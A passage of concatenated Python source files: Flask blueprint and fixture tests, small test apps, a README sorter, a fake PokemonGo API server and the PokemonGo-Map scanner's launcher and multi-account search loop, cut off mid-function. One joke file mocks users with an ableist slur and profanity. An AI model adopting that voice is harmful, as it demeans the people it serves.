def test_template_filter_after_route_with_template():
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_filter()
    def super_reverse(s):
        return s[::-1]
    app.register_blueprint(bp, url_prefix='/py')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_add_template_filter_with_template():
    bp = flask.Blueprint('bp', __name__)
    def super_reverse(s):
        return s[::-1]
    bp.add_app_template_filter(super_reverse)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_template_filter_with_name_and_template():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_filter('super_reverse')
    def my_reverse(s):
        return s[::-1]
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_add_template_filter_with_name_and_template():
    bp = flask.Blueprint('bp', __name__)
    def my_reverse(s):
        return s[::-1]
    bp.add_app_template_filter(my_reverse, 'super_reverse')
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_filter.html', value='abcd')
    rv = app.test_client().get('/')
    assert rv.data == b'dcba'

def test_template_test():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_test()
    def is_boolean(value):
        return isinstance(value, bool)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'is_boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['is_boolean'] == is_boolean
    assert app.jinja_env.tests['is_boolean'](False)

def test_add_template_test():
    bp = flask.Blueprint('bp', __name__)
    def is_boolean(value):
        return isinstance(value, bool)
    bp.add_app_template_test(is_boolean)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'is_boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['is_boolean'] == is_boolean
    assert app.jinja_env.tests['is_boolean'](False)

def test_template_test_with_name():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_test('boolean')
    def is_boolean(value):
        return isinstance(value, bool)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['boolean'] == is_boolean
    assert app.jinja_env.tests['boolean'](False)

def test_add_template_test_with_name():
    bp = flask.Blueprint('bp', __name__)
    def is_boolean(value):
        return isinstance(value, bool)
    bp.add_app_template_test(is_boolean, 'boolean')
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    assert 'boolean' in app.jinja_env.tests.keys()
    assert app.jinja_env.tests['boolean'] == is_boolean
    assert app.jinja_env.tests['boolean'](False)

def test_template_test_with_template():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_test()
    def boolean(value):
        return isinstance(value, bool)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_template_test_after_route_with_template():
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_test()
    def boolean(value):
        return isinstance(value, bool)
    app.register_blueprint(bp, url_prefix='/py')
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_add_template_test_with_template():
    bp = flask.Blueprint('bp', __name__)
    def boolean(value):
        return isinstance(value, bool)
    bp.add_app_template_test(boolean)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_template_test_with_name_and_template():
    bp = flask.Blueprint('bp', __name__)
    @bp.app_template_test('boolean')
    def is_boolean(value):
        return isinstance(value, bool)
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data

def test_add_template_test_with_name_and_template():
    bp = flask.Blueprint('bp', __name__)
    def is_boolean(value):
        return isinstance(value, bool)
    bp.add_app_template_test(is_boolean, 'boolean')
    app = flask.Flask(__name__)
    app.register_blueprint(bp, url_prefix='/py')
    @app.route('/')
    def index():
        return flask.render_template('template_test.html', value=False)
    rv = app.test_client().get('/')
    assert b'Success!' in rv.data






# -*- coding: utf-8 -*-
"""
    tests.subclassing
    ~~~~~~~~~~~~~~~~~

    Test that certain behavior of flask can be customized by
    subclasses.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import flask
from logging import StreamHandler

from flask._compat import StringIO


def test_suppressed_exception_logging():
    class SuppressedFlask(flask.Flask):
        def log_exception(self, exc_info):
            pass

    out = StringIO()
    app = SuppressedFlask(__name__)
    app.logger_name = 'flask_tests/test_suppressed_exception_logging'
    app.logger.addHandler(StreamHandler(out))

    @app.route('/')
    def index():
        1 // 0

    rv = app.test_client().get('/')
    assert rv.status_code == 500
    assert b'Internal Server Error' in rv.data

    err = out.getvalue()
    assert err == ''






# -*- coding: utf-8 -*-
"""
    tests.deprecations
    ~~~~~~~~~~~~~~~~~~

    Tests deprecation support. Not used currently.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import pytest

import flask


class TestRequestDeprecation(object):

    def test_request_json(self, recwarn):
        """Request.json is deprecated"""
        app = flask.Flask(__name__)
        app.testing = True

        @app.route('/', methods=['POST'])
        def index():
            assert flask.request.json == {'spam': 42}
            print(flask.request.json)
            return 'OK'

        c = app.test_client()
        c.post('/', data='{"spam": 42}', content_type='application/json')
        recwarn.pop(DeprecationWarning)

    def test_request_module(self, recwarn):
        """Request.module is deprecated"""
        app = flask.Flask(__name__)
        app.testing = True

        @app.route('/')
        def index():
            assert flask.request.module is None
            return 'OK'

        c = app.test_client()
        c.get('/')
        recwarn.pop(DeprecationWarning)






# -*- coding: utf-8 -*-
"""
    tests.conftest
    ~~~~~~~~~~~~~~

    :copyright: (c) 2015 by the Flask Team, see AUTHORS for more details.
    :license: BSD, see LICENSE for more details.
"""
import flask
import gc
import os
import sys
import pkgutil
import pytest
import textwrap


@pytest.fixture
def test_apps(monkeypatch):
    monkeypatch.syspath_prepend(
        os.path.abspath(os.path.join(
            os.path.dirname(__file__), 'test_apps'))
    )

@pytest.fixture(autouse=True)
def leak_detector(request):
    def ensure_clean_request_context():
        # make sure we're not leaking a request context since we are
        # testing flask internally in debug mode in a few cases
        leaks = []
        while flask._request_ctx_stack.top is not None:
            leaks.append(flask._request_ctx_stack.pop())
        assert leaks == []
    request.addfinalizer(ensure_clean_request_context)


@pytest.fixture(params=(True, False))
def limit_loader(request, monkeypatch):
    """Patch pkgutil.get_loader to give loader without get_filename or archive.

    This provides for tests where a system has custom loaders, e.g. Google App
    Engine's HardenedModulesHook, which have neither the `get_filename` method
    nor the `archive` attribute.

    This fixture will run the testcase twice, once with and once without the
    limitation/mock.
    """
    if not request.param:
        return

    class LimitedLoader(object):
        def __init__(self, loader):
            self.loader = loader

        def __getattr__(self, name):
            if name in ('archive', 'get_filename'):
                msg = 'Mocking a loader which does not have `%s.`' % name
                raise AttributeError(msg)
            return getattr(self.loader, name)

    old_get_loader = pkgutil.get_loader

    def get_loader(*args, **kwargs):
        return LimitedLoader(old_get_loader(*args, **kwargs))
    monkeypatch.setattr(pkgutil, 'get_loader', get_loader)


@pytest.fixture
def modules_tmpdir(tmpdir, monkeypatch):
    '''A tmpdir added to sys.path'''
    rv = tmpdir.mkdir('modules_tmpdir')
    monkeypatch.syspath_prepend(str(rv))
    return rv


@pytest.fixture
def modules_tmpdir_prefix(modules_tmpdir, monkeypatch):
    monkeypatch.setattr(sys, 'prefix', str(modules_tmpdir))
    return modules_tmpdir


@pytest.fixture
def site_packages(modules_tmpdir, monkeypatch):
    '''Create a fake site-packages'''
    rv = modules_tmpdir \
        .mkdir('lib')\
        .mkdir('python{x[0]}.{x[1]}'.format(x=sys.version_info))\
        .mkdir('site-packages')
    monkeypatch.syspath_prepend(str(rv))
    return rv


@pytest.fixture
def install_egg(modules_tmpdir, monkeypatch):
    '''Generate egg from package name inside base and put the egg into
    sys.path'''
    def inner(name, base=modules_tmpdir):
        if not isinstance(name, str):
            raise ValueError(name)
        base.join(name).ensure_dir()
        base.join(name).join('__init__.py').ensure()

        egg_setup = base.join('setup.py')
        egg_setup.write(textwrap.dedent("""
        from setuptools import setup
        setup(name='{0}',
              version='1.0',
              packages=['site_egg'],
              zip_safe=True)
        """.format(name)))

        import subprocess
        subprocess.check_call(
            [sys.executable, 'setup.py', 'bdist_egg'],
            cwd=str(modules_tmpdir)
        )
        egg_path, = modules_tmpdir.join('dist/').listdir()
        monkeypatch.syspath_prepend(str(egg_path))
        return egg_path
    return inner


@pytest.fixture
def purge_module(request):
    def inner(name):
        request.addfinalizer(lambda: sys.modules.pop(name, None))
    return inner


@pytest.yield_fixture(autouse=True)
def catch_deprecation_warnings(recwarn):
    yield
    gc.collect()
    assert not recwarn.list






from flask import Flask

app = Flask(__name__)
app.config['DEBUG'] = True
from blueprintapp.apps.admin import admin
from blueprintapp.apps.frontend import frontend
app.register_blueprint(admin)
app.register_blueprint(frontend)












from flask import Blueprint, render_template

frontend = Blueprint('frontend', __name__, template_folder='templates')


@frontend.route('/')
def index():
    return render_template('frontend/index.html')


@frontend.route('/missing')
def missing_template():
    return render_template('missing_template.html')






from flask import Blueprint, render_template

admin = Blueprint('admin', __name__, url_prefix='/admin',
                  template_folder='templates',
                  static_folder='static')


@admin.route('/')
def index():
    return render_template('admin/index.html')


@admin.route('/index2')
def index2():
    return render_template('./admin/index.html')






from flask import Module


mod = Module(__name__, 'foo', subdomain='foo')






from __future__ import absolute_import, print_function

from flask import Flask

app1 = Flask('app1')
app2 = Flask('app2')












from __future__ import absolute_import, print_function

from flask import Flask

testapp = Flask('testapp')






# coding: utf-8

"""
    The approach taken is explained below. I decided to do it simply.
    Initially I was considering parsing the data into some sort of
    structure and then generating an appropriate README. I am still
    considering doing it - but for now this should work. The only issue
    I see is that it only sorts the entries at the lowest level, and that
    the order of the top-level contents do not match the order of the actual
    entries.

    This could be extended by having nested blocks, sorting them recursively
    and flattening the end structure into a list of lines. Revision 2 maybe ^.^.
"""


def main():
    # First, we load the current README into memory as an array of lines
    with open('README.md', 'r') as read_me_file:
        read_me = read_me_file.readlines()

    # Then we cluster the lines together as blocks
    # Each block represents a collection of lines that should be sorted
    # This was done by assuming only links ([...](...)) are meant to be sorted
    # Clustering is done by indentation
    blocks = []
    last_indent = None
    for line in read_me:
        s_line = line.lstrip()
        indent = len(line) - len(s_line)

        if any([s_line.startswith(s) for s in ['* [', '- [']]):
            if indent == last_indent:
                blocks[-1].append(line)
            else:
                blocks.append([line])
            last_indent = indent
        else:
            blocks.append([line])
            last_indent = None

    with open('README.md', 'w+') as sorted_file:
        # Then all of the blocks are sorted individually
        blocks = [''.join(sorted(block, key=lambda s: s.lower())) for block in blocks]
        # And the result is written back to README.md
        sorted_file.write(''.join(blocks))


if __name__ == "__main__":
    main()






# halpmepl0x
# for those that messaged me with "i'm on dev, example.py dont work"
# thunderfox : can we put an example.py in 2.0 that just prints "you're a fucking retard"
# invisiblek wuz here
# balthemel wuz also 'ere

# dont make pr to fix pls

print("Please refer to documentation, there is no more example.py, only runserver.py")
fuck = raw_input("Would yous till like to massage the devs that example.py no work?")
if "needful" in fuck.lower():
    print("poon bang lure pls")
elif fuck.lower() != "no":
    print("you have been banned lol")
else:
    print("bless u")






#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
Fake PokemonGo API

This is a simplistic flask app to emulate what a pokemon go api returns.

It *does not* speak protobuff, and uses a hacky internal re-routing. That said,
it does the trick well enough in my testing.

When first "logged into" it will create a static map of evenly distributed
gyms and poke stops. As each "scan" is run, it will gerenate a set of pokemon
for that scan area. "New" pokemon will be found every 10 minutes.

You can run this as is, and then just add `-m http://127.0.0.1:9090` to your
runserver.py call to start using it.
'''

import logging
import configargparse
import math

from flask import Flask, jsonify
from random import randint, getrandbits, seed, random
from uuid import uuid4
from time import time
from s2sphere import CellId, LatLng
import geopy
from geopy.distance import VincentyDistance
from geopy.distance import vincenty

logging.basicConfig(format='%(asctime)s [%(threadName)16s][%(module)14s][%(levelname)8s] %(message)s')
log = logging.getLogger()

# Configish
parser = configargparse.ArgParser()
parser.add_argument('-H', '--host', help='Server Host', default='127.0.0.1')
parser.add_argument('-p', '--port', help='Server Port', default=9090, type=int)
parser.add_argument('-d', '--debug', help='Debug Mode', action='store_true')
parser.set_defaults(DEBUG=False)
args = parser.parse_args()

if args.debug:
    log.setLevel(logging.DEBUG)
else:
    log.setLevel(logging.INFO)


# A holder of gyms/pokestops
forts = []


def getRandomPoint(location=None, maxMeters=70):
    origin = geopy.Point(location[0], location[1])
    b = randint(0, 360)
    d = math.sqrt(random()) * (float(maxMeters) / 1000)
    destination = VincentyDistance(kilometers=d).destination(origin, b)
    return (destination.latitude, destination.longitude)


# TODO: This method is suuuuper inefficient.
#       Namely, it loops over EVERY POSSIBLE fort and does a distance calc
#       Not a time-cheap operation to do at all. It would be way more efficient
#       if we had all the forts setup with s2 locations and could more quickly
#       query for 'within XYZ cells'. Or something like that :/
def getForts(location):
    global forts

    lforts = []
    for i in forts:
        f = (i['latitude'], i['longitude'])
        d = vincenty(location, f).meters
        if d < 900:
            lforts.append(i)

    return lforts


def makeWildPokemon(location):
    # Cause the randomness to only shift every N minutes (thus new pokes every N minutes)
    offset = int(time() % 3600) / 10
    seedid = str(location[0]) + str(location[1]) + str(offset)
    seed(seedid)

    # Now, collect the pokes for this can point
    pokes = []
    for i in range(randint(0, 2)):
        coords = getRandomPoint(location)
        ll = LatLng.from_degrees(coords[0], coords[1])
        cellId = CellId.from_lat_lng(ll).parent(20).to_token()
        pokes.append({
            'encounter_id': 'pkm' + seedid + str(i),
            'last_modified_timestamp_ms': int((time() - 10) * 1000),
            'latitude': coords[0],
            'longitude': coords[1],
            'pokemon_data': {'pokemon_id': randint(1, 140)},
            'spawn_point_id': cellId,
            'time_till_hidden_ms': randint(60, 600) * 1000
        })
    return pokes

# Fancy app time
app = Flask(__name__)


@app.route('/')
def api_root():
    return 'This here be a Fake PokemonGo API Endpoint Server'


@app.route('/login/<lat>/<lng>/<r>')
def api_login(lat, lng, r):
    global forts

    if len(forts):
        # already generated
        return jsonify(forts)

    # coerce types
    r = int(r)  # radius in meters
    lat = float(lat)
    lng = float(lng)

    forts = []
    area = 3.14 * (r * r)

    # One gym every N sq.m
    gymCount = int(math.ceil(area / 25000))

    # One pks every N sq.m
    pksCount = int(math.ceil(area / 15000))

    # Gyms
    for i in range(gymCount):
        coords = getRandomPoint(location=(lat, lng), maxMeters=r)
        forts.append({
            'enabled': True,
            'guard_pokemon_id': randint(1, 140),
            'gym_points': randint(1, 30000),
            'id': 'gym-{}'.format(i),
            'is_in_battle': not getrandbits(1),
            'last_modified_timestamp_ms': int((time() - 10) * 1000),
            'latitude': coords[0],
            'longitude': coords[1],
            'owned_by_team': randint(0, 3)
        })

    # Pokestops
    for i in range(pksCount):
        coords = getRandomPoint(location=(lat, lng), maxMeters=r)
        forts.append({
            'enabled': True,
            'id': 'pks-{}'.format(i),
            'last_modified_timestamp_ms': int((time() - 10) * 1000),
            'latitude': coords[0],
            'longitude': coords[1],
            'type': 1
        })

    log.info('Login for location %f,%f generated %d gyms, %d pokestop', lat, lng, gymCount, pksCount)
    return jsonify(forts)


@app.route('/scan/<lat>/<lng>')
def api_scan(lat, lng):
    location = (float(lat), float(lng))
    cells = []
    # for i in range(randint(60,70)):
    for i in range(3):
        cells.append({
            'current_timestamp_ms': int(time() * 1000),
            'forts': getForts(location),
            's2_cell_id': uuid4(),  # wrong, but also unused so it doesn't matter
            'wild_pokemons': makeWildPokemon(location),
            'catchable_pokemons': [],  # unused
            'nearby_pokemons': []  # unused
        })
    return jsonify({'responses': {'GET_MAP_OBJECTS': {'map_cells': cells}}})

if __name__ == '__main__':
    app.run(threaded=True, debug=args.debug, host=args.host, port=args.port)






#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import sys
import shutil
import logging
import time
import re
import requests
import ssl
import json

from distutils.version import StrictVersion

from threading import Thread, Event
from queue import Queue
from flask_cors import CORS
from flask_cache_bust import init_cache_busting

from pogom import config
from pogom.app import Pogom
from pogom.utils import get_args, get_encryption_lib_path

from pogom.search import search_overseer_thread
from pogom.models import init_database, create_tables, drop_tables, Pokemon, db_updater, clean_db_loop
from pogom.webhook import wh_updater

# Currently supported pgoapi
pgoapi_version = "1.1.7"

# Moved here so logger is configured at load time
logging.basicConfig(format='%(asctime)s [%(threadName)16s][%(module)14s][%(levelname)8s] %(message)s')
log = logging.getLogger()

# Make sure pogom/pgoapi is actually removed if it is an empty directory
# This is a leftover directory from the time pgoapi was embedded in PokemonGo-Map
# The empty directory will cause problems with `import pgoapi` so it needs to go
oldpgoapiPath = os.path.join(os.path.dirname(__file__), "pogom/pgoapi")
if os.path.isdir(oldpgoapiPath):
    log.info("I found %s, but its no longer used. Going to remove it...", oldpgoapiPath)
    shutil.rmtree(oldpgoapiPath)
    log.info("Done!")

# Assert pgoapi is installed
try:
    import pgoapi
    from pgoapi import utilities as util
except ImportError:
    log.critical("It seems `pgoapi` is not installed. You must run pip install -r requirements.txt again")
    sys.exit(1)

# Assert pgoapi >= pgoapi_version
if not hasattr(pgoapi, "__version__") or StrictVersion(pgoapi.__version__) < StrictVersion(pgoapi_version):
    log.critical("It seems `pgoapi` is not up-to-date. You must run pip install -r requirements.txt again")
    sys.exit(1)


def main():
    args = get_args()

    # Check if we have the proper encryption library file and get its path
    encryption_lib_path = get_encryption_lib_path(args)
    if encryption_lib_path is "":
        sys.exit(1)

    if args.debug:
        log.setLevel(logging.DEBUG)
    else:
        log.setLevel(logging.INFO)

    # Let's not forget to run Grunt / Only needed when running with webserver
    if not args.no_server:
        if not os.path.exists(os.path.join(os.path.dirname(__file__), 'static/dist')):
            log.critical('Missing front-end assets (static/dist) -- please run "npm install && npm run build" before starting the server')
            sys.exit()

    # These are very noisey, let's shush them up a bit
    logging.getLogger('peewee').setLevel(logging.INFO)
    logging.getLogger('requests').setLevel(logging.WARNING)
    logging.getLogger('pgoapi.pgoapi').setLevel(logging.WARNING)
    logging.getLogger('pgoapi.rpc_api').setLevel(logging.INFO)
    logging.getLogger('werkzeug').setLevel(logging.ERROR)

    config['parse_pokemon'] = not args.no_pokemon
    config['parse_pokestops'] = not args.no_pokestops
    config['parse_gyms'] = not args.no_gyms

    # Turn these back up if debugging
    if args.debug:
        logging.getLogger('requests').setLevel(logging.DEBUG)
        logging.getLogger('pgoapi').setLevel(logging.DEBUG)
        logging.getLogger('rpc_api').setLevel(logging.DEBUG)

    # use lat/lng directly if matches such a pattern
    prog = re.compile("^(\-?\d+\.\d+),?\s?(\-?\d+\.\d+)$")
    res = prog.match(args.location)
    if res:
        log.debug('Using coordinates from CLI directly')
        position = (float(res.group(1)), float(res.group(2)), 0)
    else:
        log.debug('Looking up coordinates in API')
        position = util.get_pos_by_name(args.location)

    # Use the latitude and longitude to get the local altitude from Google
    try:
        url = 'https://maps.googleapis.com/maps/api/elevation/json?locations={},{}'.format(
            str(position[0]), str(position[1]))
        altitude = requests.get(url).json()[u'results'][0][u'elevation']
        log.debug('Local altitude is: %sm', altitude)
        position = (position[0], position[1], altitude)
    except (requests.exceptions.RequestException, IndexError, KeyError):
        log.error('Unable to retrieve altitude from Google APIs; setting to 0')

    if not any(position):
        log.error('Could not get a position by name, aborting')
        sys.exit()

    log.info('Parsed location is: %.4f/%.4f/%.4f (lat/lng/alt)',
             position[0], position[1], position[2])

    if args.no_pokemon:
        log.info('Parsing of Pokemon disabled')
    if args.no_pokestops:
        log.info('Parsing of Pokestops disabled')
    if args.no_gyms:
        log.info('Parsing of Gyms disabled')

    config['LOCALE'] = args.locale
    config['CHINA'] = args.china

    app = Pogom(__name__)
    db = init_database(app)
    if args.clear_db:
        log.info('Clearing database')
        if args.db_type == 'mysql':
            drop_tables(db)
        elif os.path.isfile(args.db):
            os.remove(args.db)
    create_tables(db)

    app.set_current_location(position)

    # Control the search status (running or not) across threads
    pause_bit = Event()
    pause_bit.clear()

    # Setup the location tracking queue and push the first location on
    new_location_queue = Queue()
    new_location_queue.put(position)

    # DB Updates
    db_updates_queue = Queue()

    # Thread(s) to process database updates
    for i in range(args.db_threads):
        log.debug('Starting db-updater worker thread %d', i)
        t = Thread(target=db_updater, name='db-updater-{}'.format(i), args=(args, db_updates_queue))
        t.daemon = True
        t.start()

    # db clearner; really only need one ever
    t = Thread(target=clean_db_loop, name='db-cleaner', args=(args,))
    t.daemon = True
    t.start()

    # WH Updates
    wh_updates_queue = Queue()

    # Thread to process webhook updates
    for i in range(args.wh_threads):
        log.debug('Starting wh-updater worker thread %d', i)
        t = Thread(target=wh_updater, name='wh-updater-{}'.format(i), args=(args, wh_updates_queue))
        t.daemon = True
        t.start()

    if not args.only_server:
        # Gather the pokemons!

        # check the sort of scan
        if args.spawnpoint_scanning:
            mode = 'sps'
        else:
            mode = 'hex'

        # attempt to dump the spawn points (do this before starting threads of endure the woe)
        if args.spawnpoint_scanning and args.spawnpoint_scanning != 'nofile' and args.dump_spawnpoints:
            with open(args.spawnpoint_scanning, 'w+') as file:
                log.info('Sawing spawn points to %s', args.spawnpoint_scanning)
                spawns = Pokemon.get_spawnpoints_in_hex(position, args.step_limit)
                file.write(json.dumps(spawns))
                log.info('Finished exporting spawn points')

        argset = (args, mode, new_location_queue, pause_bit, encryption_lib_path, db_updates_queue, wh_updates_queue)

        log.debug('Starting a %s search thread', mode)
        search_thread = Thread(target=search_overseer_thread, name='search-overseer', args=argset)
        search_thread.daemon = True
        search_thread.start()

    if args.cors:
        CORS(app)

    # No more stale JS
    init_cache_busting(app)

    app.set_search_control(pause_bit)
    app.set_location_queue(new_location_queue)

    config['ROOT_PATH'] = app.root_path
    config['GMAPS_KEY'] = args.gmaps_key

    if args.no_server:
        # This loop allows for ctrl-c interupts to work since flask won't be holding the program open
        while search_thread.is_alive():
            time.sleep(60)
    else:
        ssl_context = None
        if args.ssl_certificate and args.ssl_privatekey \
                and os.path.exists(args.ssl_certificate) and os.path.exists(args.ssl_privatekey):
            ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
            ssl_context.load_cert_chain(args.ssl_certificate, args.ssl_privatekey)
            log.info('Web server in SSL mode.')

        app.run(threaded=True, use_reloader=False, debug=args.debug, host=args.host, port=args.port, ssl_context=ssl_context)

if __name__ == '__main__':
    main()






#!/usr/bin/python
# -*- coding: utf-8 -*-

'''
Search Architecture:
 - Have a list of accounts
 - Create an "overseer" thread
 - Search Overseer:
   - Tracks incoming new location values
   - Tracks "paused state"
   - During pause or new location will clears current search queue
   - Starts search_worker threads
 - Search Worker Threads each:
   - Have a unique API login
   - Listens to the same Queue for areas to scan
   - Can re-login as needed
   - Pushes finds to db queue and webhook queue
'''

import logging
import math
import json
import os
import random
import time
import geopy
import geopy.distance

from operator import itemgetter
from threading import Thread
from queue import Queue, Empty

from pgoapi import PGoApi
from pgoapi.utilities import f2i
from pgoapi import utilities as util
from pgoapi.exceptions import AuthException

from .models import parse_map, Pokemon, hex_bounds
from .transform import generate_location_steps
from .fakePogoApi import FakePogoApi
from .utils import now

import terminalsize

log = logging.getLogger(__name__)

TIMESTAMP = '\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000'


# Apply a location jitter
def jitterLocation(location=None, maxMeters=10):
    origin = geopy.Point(location[0], location[1])
    b = random.randint(0, 360)
    d = math.sqrt(random.random()) * (float(maxMeters) / 1000)
    destination = geopy.distance.distance(kilometers=d).destination(origin, b)
    return (destination.latitude, destination.longitude, location[2])


# gets the current time past the hour
def cur_sec():
    return (60 * time.gmtime().tm_min) + time.gmtime().tm_sec


# Thread to handle user input
def switch_status_printer(display_enabled, current_page):
    while True:
        # Wait for the user to press a key
        command = raw_input()

        if command == '':
            # Switch between logging and display.
            if display_enabled[0]:
                logging.disable(logging.NOTSET)
                display_enabled[0] = False
            else:
                logging.disable(logging.ERROR)
                display_enabled[0] = True
        elif command.isdigit():
                current_page[0] = int(command)


# Thread to print out the status of each worker
def status_printer(threadStatus, search_items_queue, db_updates_queue, wh_queue):
    display_enabled = [True]
    current_page = [1]
    logging.disable(logging.ERROR)

    # Start another thread to get user input
    t = Thread(target=switch_status_printer,
               name='switch_status_printer',
               args=(display_enabled, current_page))
    t.daemon = True
    t.start()

    while True:
        if display_enabled[0]:

            # Get the terminal size
            width, height = terminalsize.get_terminal_size()
            # Queue and overseer take 2 lines.  Switch message takes up 2 lines.  Remove an extra 2 for things like screen status lines.
            usable_height = height - 6
            # Prevent people running terminals only 6 lines high from getting a divide by zero
            if usable_height < 1:
                usable_height = 1

            # Create a list to hold all the status lines, so they can be printed all at once to reduce flicker
            status_text = []

            # Calculate total skipped items
            skip_total = 0
            for item in threadStatus:
                if 'skip' in threadStatus[item]:
                    skip_total += threadStatus[item]['skip']

            # Print the queue length
            status_text.append('Queues: {} search items, {} db updates, {} webhook.  Total skipped items: {}'.format(search_items_queue.qsize(), db_updates_queue.qsize(), wh_queue.qsize(), skip_total))

            # Print status of overseer
            status_text.append('{} Overseer: {}'.format(threadStatus['Overseer']['method'], threadStatus['Overseer']['message']))

            # Calculate the total number of pages.  Subtracting 1 for the overseer.
            total_pages = math.ceil((len(threadStatus) - 1) / float(usable_height))

            # Prevent moving outside the valid range of pages
            if current_page[0] > total_pages:
                current_page[0] = total_pages
            if current_page[0] < 1:
                current_page[0] = 1

            # Calculate which lines to print
            start_line = usable_height * (current_page[0] - 1)
            end_line = start_line + usable_height
            current_line = 1

            # longest username
            userlen = 4
            for item in threadStatus:
                if threadStatus[item]['type'] == 'Worker':
                    userlen = max(userlen, len(threadStatus[item]['user']))

            # How pretty
            status = '{:10} | {:' + str(userlen) + '} | {:7} | {:6} | {:5} | {:7} | {:10}'

            # Print the worker status
            status_text.append(status.format('Worker ID', 'User', 'Success', 'Failed', 'Empty', 'Skipped', 'Message'))
            for item in sorted(threadStatus):
                if(threadStatus[item]['type'] == 'Worker'):
                    current_line += 1

                    # Skip over items that don't belong on this page
                    if current_line < start_line:
                        continue
                    if current_line > end_line:
                        break

                    status_text.append(status.format(item, threadStatus[item]['user'], threadStatus[item]['success'], threadStatus[item]['fail'], threadStatus[item]['noitems'], threadStatus[item]['skip'], threadStatus[item]['message']))

            status_text.append('Page {}/{}.  Type page number and <ENTER> to switch pages.  Press <ENTER> alone to switch between status and log view'.format(current_page[0], total_pages))
            # Clear the screen
            os.system('cls' if os.name == 'nt' else 'clear')
            # Print status
            print "\n".join(status_text)
        time.sleep(1)


# The main search loop that keeps an eye on the over all process
def search_overseer_thread(args, method, new_location_queue, pause_bit, encryption_lib_path, db_updates_queue, wh_queue):

    log.info('Search overseer starting')

    search_items_queue = Queue()
    threadStatus = {}

    threadStatus['Overseer'] = {
        'message': 'Initializing',
        'type': 'Overseer',
        'method': 'Hex Grid' if method == 'hex' else 'Spawn Point'
    }

    if(args.print_status):
        log.info('Starting status printer thread')
        t = Thread(target=status_printer,
                   name='status_printer',
                   args=(threadStatus, search_items_queue, db_updates_queue, wh_queue))
        t.daemon = True
        t.start()

    # Create a search_worker_thread per account
    log.info('Starting search worker threads')
    for i, account in enumerate(args.accounts):
        log.debug('Starting search worker thread %d for user %s', i, account['username'])
        workerId = 'Worker {:03}'.format(i)
        threadStatus[workerId] = {
            'type': 'Worker',
            'message': 'Creating thread...',
            'success': 0,
            'fail': 0,
            'noitems': 0,
            'skip': 0,
            'user': account['username']
        }

        t = Thread(target=search_worker_thread,
                   name='search-worker-{}'.format(i),
                   args=(args, account, search_items_queue, pause_bit,
                         encryption_lib_path, threadStatus[workerId],
                         db_updates_queue, wh_queue))
        t.daemon = True
        t.start()

    '''
    For hex scanning, we can generate the full list of scan points well
    in advance. When then can queue them all up to be searched as fast
    as the threads will allow.

    With spawn point scanning (sps) we can come up with the order early
    on, and we can populate the entire queue, but the individual threads
    will need to wait until the point is available (and ensure it is not
    to late as well).
    '''

    # A place to track the current location
    current_location = False

    # Used to tell SPS to scan for all CURRENT pokemon instead
    # of, like during a normal loop, just finding the next one
    # which will appear (since you've already scanned existing
    # locations in the prior loop)
    # Needed in a first loop and pausing/changing location.
    sps_scan_current = True

    # The real work starts here but will halt on pause_bit.set()
    while True:

        # paused; clear queue if needed, otherwise sleep and loop
        while pause_bit.is_set():
            if not search_items_queue.empty():
                try:
                    while True:
                        search_items_queue.get_nowait()
                except Empty:
                    pass
            threadStatus['Overseer']['message'] = 'Scanning is paused'
            sps_scan_current = True
            time.sleep(1)

        # If a new location has been passed to us, get the most recent one
        if not new_location_queue.empty():
            log.info('New location caught, moving search grid')
            sps_scan_current = True
            try:
                while True:
                    current_location = new_location_queue.get_nowait()
            except Empty:
                pass

            # We (may) need to clear the search_items_queue
            if not search_items_queue.empty():
                try:
                    while True:
                        search_items_queue.get_nowait()
                except Empty:
                    pass

        # If there are no search_items_queue either the loop has finished (or been
        # cleared above) -- either way, time to fill it back up
        if search_items_queue.empty():
            log.debug('Search queue empty, restarting loop')

            # locations = [((lat, lng, alt), ts_appears, ts_leaves),...]
            if method == 'hex':
                locations = get_hex_location_list(args, current_location)
